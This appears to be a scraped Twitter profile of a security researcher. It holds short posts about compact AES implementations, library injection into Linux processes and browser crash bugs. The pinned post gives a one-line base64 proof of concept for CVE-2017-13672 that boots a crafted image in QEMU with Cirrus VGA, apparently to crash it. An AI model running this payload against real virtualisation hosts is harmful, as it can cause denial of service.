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@David3141593

from pwn import *; alias = "Retr0id"

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Vrijeme pridruživanja: prosinac 2013.

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  1. Prikvačeni tweet

    CVE-2017-13672: echo H4sICH0mqFkAA3BvYwDbweS/W8LxrMCuK8wbZN85bWh494VhFIwUELoKAIJvFIwAAgAA|base64 -d|gunzip>a&&qemu-system-i386 -vga cirrus a

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  2. 24. sij

    And for comparison, here's AES128 in 69 lines of annoyingly terse python: (Taken from a much more readable implementation that I'm working on)

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  3. 14. sij

    I don't think I've ever been more excited for a Windows update.

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  4. 14. sij

    Ah, sounds like it's probably bad cert verification, or related

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  5. 14. sij

    What's the crypt32.dll vuln gonna be...

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  6. 13. sij

    Apparently fake ThinkPad batteries are a thing now...

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  7. 5. sij

    I found this entirely by luck. It might be hard to believe, but I was just thinking "I wonder how different renderers will deal with this string". And I picked exactly the right number of characters to hit an off-by-one.

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  8. 5. sij
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  9. 5. sij

    Crash chrome with this one weird string. Text layout engines HATE it!

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  10. 3. sij

    Just noticed I spelt "sytax error" wrong, oops

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  11. 3. sij

    I invented(?) a slightly silly way to detect modern versions of python.

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  12. 1. sij

    My new year's resolution:

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  13. It seems like one of the biggest barriers to entry for Linux kernel development/hacking is the fact that the internal APIs keep changing.

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  14. Seems there's a lot of people out celebrating the end of python2 tonight. I even hear fireworks!

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  15. Next, I'm gonna implement a kernel module that lets me: a) map pages in a remote process b) CreateRemoteThread That way, I can avoid side-effects of SIGSTOP, or any race conditions.

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  16. Ever wanted to inject a shared library into an already-running linux process, without using ptrace? Well, now you can...

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  17. Prikaži ovu nit
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  18. c) Explain the round loop exit condition. d) Make the code smaller :P (I think this is possible, the shuffling stage was kinda optimised for obscurity rather than size)

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  19. For anyone saying "uSinG aEs-Ni iS cHeAtInG": a) AESKEYGENASSIST only supports round constants as immediate arguments, so every other implementation I saw unrolls the key expansion loop. b) I tricked a lot of smart CTF players into thinking this was a non-standard AES impl :P

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  20. (for the pedantic: yes, this assumes bit 7 of AL is 0)

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  21. I implemented AES128 in 69 bytes of x86 assembly. (from challenge 0). Can anyone beat that? :P

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